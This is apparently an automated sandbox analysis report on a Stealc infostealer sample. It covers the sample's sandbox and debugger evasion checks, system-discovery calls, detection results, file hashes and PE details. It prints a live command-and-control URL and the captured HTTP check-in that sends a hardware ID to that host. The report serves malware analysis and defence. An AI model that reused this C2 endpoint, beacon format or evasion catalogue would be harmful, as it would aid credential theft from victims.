Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008BDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_008BBE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B1160 GetSystemInfo,ExitProcess,

0_2_008B1160

Source: file.exe, file.exe, 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1528463246.0000000000815000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1528463246.00000000007E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1528463246.000000000079E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13642
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13639
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13654
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13694
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13659

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_008B45C0

Source: C:\Users\user\Desktop\file.exe

0_2_008C9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008C9750 mov eax, dword ptr fs:[00000030h]

0_2_008C9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008C78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_008C78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5492, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008C9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_008C9600

Source: file.exe, file.exe, 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: zProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_008C7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008C7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_008C7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008C7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_008C7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008C7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_008C7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1528463246.000000000079E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1484136381.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5492, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1528463246.000000000079E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1484136381.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5492, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/ws	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37N	file.exe, 00000000.00000002.1528463246.000000000079E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1528463246.000000000079E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpjZr	file.exe, 00000000.00000002.1528463246.0000000000815000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php4	file.exe, 00000000.00000002.1528463246.00000000007E2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpt	file.exe, 00000000.00000002.1528463246.00000000007E2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1528463246.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpz	file.exe, 00000000.00000002.1528463246.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpH	file.exe, 00000000.00000002.1528463246.00000000007E2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php7	file.exe, 00000000.00000002.1528463246.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1539396
Start date and time:	2024-10-22 16:10:45 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 84
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94664445453577
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'821'696 bytes
MD5:	e146f5225dc59d28304d4ea38a3c1265
SHA1:	f8b22e7a65737087d98f2991180ce701b4140db3
SHA256:	6220e540efb2808a44871e88bc3624ad976feb663c6c445e71e6da8be8695f2a
SHA512:	f787954eec1c61f2b80a92439ba9128f65169173c9e9305378be2f2aa9c31d0e214cc068c378ad7848fee0bc751f526659b05cb60bb0d33eae12cf73ebaca6df
SSDEEP:	24576:ceu9yHUfKCXdz0/9NmUvfie22dCUTpnuaOj3kRiAIsnfPXMMycrRmtMjtMqgKyLK:Z8ym1Xdcme22dCuDa2Iarj1RK1S9WZA
TLSH:	0085337C7C98C9CCC508C2FDD6BB64EAFA3453296489E54AC71986708F4E7709B871B2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa8b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6398FD961Ah
rsm
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F6398FDB615h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	009135d5f0b8d2afaa7ba0abadca92c8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x295000	0x200	11001e1352b7b4014ffb904b255ce275	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pqeyqbvq	0x4f3000	0x197000	0x196a00	664c0da78950dd576bb5325fa01c779c	False	0.9948731219259146	data	7.953729049995973	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oscgfsnm	0x68a000	0x1000	0x400	a01519cdb97f657281757a8dd3596dbb	False	0.802734375	data	6.280815137065525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68b000	0x3000	0x2200	c1de790a69f4949445f3d725b4ceac12	False	0.05905330882352941	DOS executable (COM)	0.7328553963503524	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-22T16:11:56.055353+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49706	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 22, 2024 16:11:54.764913082 CEST	49706	80	192.168.2.9	185.215.113.37
Oct 22, 2024 16:11:54.770281076 CEST	80	49706	185.215.113.37	192.168.2.9
Oct 22, 2024 16:11:54.770347118 CEST	49706	80	192.168.2.9	185.215.113.37
Oct 22, 2024 16:11:54.770510912 CEST	49706	80	192.168.2.9	185.215.113.37
Oct 22, 2024 16:11:54.775973082 CEST	80	49706	185.215.113.37	192.168.2.9
Oct 22, 2024 16:11:55.719485998 CEST	80	49706	185.215.113.37	192.168.2.9
Oct 22, 2024 16:11:55.719625950 CEST	49706	80	192.168.2.9	185.215.113.37
Oct 22, 2024 16:11:55.764700890 CEST	49706	80	192.168.2.9	185.215.113.37
Oct 22, 2024 16:11:55.770507097 CEST	80	49706	185.215.113.37	192.168.2.9
Oct 22, 2024 16:11:56.055305004 CEST	80	49706	185.215.113.37	192.168.2.9
Oct 22, 2024 16:11:56.055352926 CEST	49706	80	192.168.2.9	185.215.113.37
Oct 22, 2024 16:11:59.510843992 CEST	49706	80	192.168.2.9	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	185.215.113.37	80	5492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:11:54.770510912 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 22, 2024 16:11:55.719485998 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:11:55 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 22, 2024 16:11:55.764700890 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 45 38 30 34 42 35 46 44 37 36 32 37 37 38 39 30 34 39 32 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="hwid"74E804B5FD762778904926------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="build"doma------CGCFIIEBKEGHJJJJJJDA--
Oct 22, 2024 16:11:56.055305004 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:11:55 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	10:11:50
Start date:	22/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8b0000
File size:	1'821'696 bytes
MD5 hash:	E146F5225DC59D28304D4EA38A3C1265
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1528463246.000000000079E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1484136381.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 008C9860 Relevance: 66.7, APIs: 33, Strings: 5, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76F70000,007B0708), ref: 008C98A1
GetProcAddress.KERNEL32(76F70000,007B0720), ref: 008C98BA
GetProcAddress.KERNEL32(76F70000,007B0540), ref: 008C98D2
GetProcAddress.KERNEL32(76F70000,007B0570), ref: 008C98EA
GetProcAddress.KERNEL32(76F70000,007B0738), ref: 008C9903
GetProcAddress.KERNEL32(76F70000,007B8B18), ref: 008C991B
GetProcAddress.KERNEL32(76F70000,007A6440), ref: 008C9933
GetProcAddress.KERNEL32(76F70000,007A6360), ref: 008C994C
GetProcAddress.KERNEL32(76F70000,007B0768), ref: 008C9964
GetProcAddress.KERNEL32(76F70000,007B0780), ref: 008C997C
GetProcAddress.KERNEL32(76F70000,007B07C8), ref: 008C9995
GetProcAddress.KERNEL32(76F70000,007B05B8), ref: 008C99AD
GetProcAddress.KERNEL32(76F70000,007A6200), ref: 008C99C5
GetProcAddress.KERNEL32(76F70000,007B07E0), ref: 008C99DE
GetProcAddress.KERNEL32(76F70000,007B07F8), ref: 008C99F6
GetProcAddress.KERNEL32(76F70000,007A6380), ref: 008C9A0E
GetProcAddress.KERNEL32(76F70000,007B0510), ref: 008C9A27
GetProcAddress.KERNEL32(76F70000,007B0810), ref: 008C9A3F
GetProcAddress.KERNEL32(76F70000,007A61C0), ref: 008C9A57
GetProcAddress.KERNEL32(76F70000,007B0828), ref: 008C9A70
GetProcAddress.KERNEL32(76F70000,007A6220), ref: 008C9A88
LoadLibraryA.KERNEL32(007B0858,?,008C6A00), ref: 008C9A9A
LoadLibraryA.KERNEL32(007B0840,?,008C6A00), ref: 008C9AAB
LoadLibraryA.KERNEL32(007B08D0,?,008C6A00), ref: 008C9ABD
